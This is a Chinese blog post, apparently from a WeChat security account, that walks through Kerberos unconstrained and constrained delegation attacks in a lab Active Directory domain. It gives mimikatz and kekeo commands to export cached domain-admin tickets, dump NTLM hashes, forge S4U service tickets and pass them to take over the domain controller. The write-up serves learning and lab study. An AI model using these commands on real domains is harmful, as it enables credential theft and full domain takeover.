目录:
-
委派
-
非约束委派
-
环境配置
-
利用
-
约束委派
-
环境配置
-
利用
-
小结
委派
委派(Delegation)是一种让用户可以委托服务器代表自己与其他服务进行验证的功能,它允许服务账户在活动目录中模拟其他域用户身份,主要用于当服务需要以某个用户的身份来请求访问其他服务资源的场景。
委派分为非约束委派,传统的约束委派以及基于资源的约束委派,这篇文章主要复现非约束委派和约束委派的利用。
非约束委派
环境配置
-
域控:AD02
-
域内主机:ATTACK
配置非约束委派
该设置意味着:
ATTACK可以接受任意用户的委派去请求任意服务。
感觉基于非约束委派的攻击在于TGT, 因为当一个域内用户委派ATTACK去访问其他服务时,
伴随发生的是该用户对应的TGT也会被缓存在ATTACK的LSASS中,然后ATTACK将利用该TGT模拟该用户进行后续服务票证请求。相当于一次PTT。
利用
-
目的:梭哈域控
-
前提:域管曾访问(委派过ATTACK)
-
场景:
-
WinRM(本次测试采用)
-
MSSQL
-
IIS
-
...
模拟域管用户委派ATTACK, 使用域管通过WinRM访问ATTACK
# ATTACK开启winrm服务
winrm quickconfig -q
# DC远程访问
Enter-PSSession -ComputerName ATTACK
此时ATTCK上已经缓存了域管的TGT
导出Ticket
# mimikatz
# 导出内存中的Ticket
sekurlsa::tickets /export
# PTT即可
kerberos::ptt [0;3e7]-2-1-40e10000-ATTACK$@krbtgt-ADCS.LAB.kirb
# 查看本地的缓存的Ticket
klist
此时已经成功拥有域管的票证,模拟域管用户访问域控
-
坑1:为什么用主机名访问失败但是用IP访问却成功了?
成功访问域控
利用psexec横向到域控
-
坑2:利用主机名又失败?
最后成功拿下域控
约束委派
上面为了缓解上面提到的非约束委派的带来的问题,微软通过 引入了 S4U(S4U2Self / S4U2proxy) 对Kerberos协议进行扩展,其主要作用就是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。
环境配置
-
域控:AD02
-
域内主机:ATTACK
配置约束委派
该设置意味着
域控AD02的cifs可以被ATTACK所委派
利用
-
前提:需要知道ATTACK主机账户的NTLM Hash值或密码
抓取主机账户的 NTLM Hash 值
privilege::debug
sekurlsa::logonpasswords full
找到主机账户ATTACK$NTLM Hash
使用kekeo申请TGT
tgt::ask /user:ATTACK$ /domain:adcs.lab /ntlm:1895e2716836b3344f5bac9e5c1b02c9
使用该TGT通过s4u伪造[email protected]去访问AD02的cifs服务
tgs::s4u /tgt:[email protected][email protected] /user:administrator /service:cifs/AD02.ADCS.LAB
这时在该目录下生成了 cifs的TGS票据
通过mimikatz使用cifs的TGS票据进行PTT
kerberos::ptt [email protected][email protected]
成功获得域控的访问权限
小结
本篇文章主要为了了解委派的基本利用方式,先从原理跳脱出来搞清楚它是什么,然后再根据相关利用场景结合理论去学习为什么。
参考:
https://y4er.com/
本文始发于微信公众号(don9sec):域渗透-Kerberos委派利用demo
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论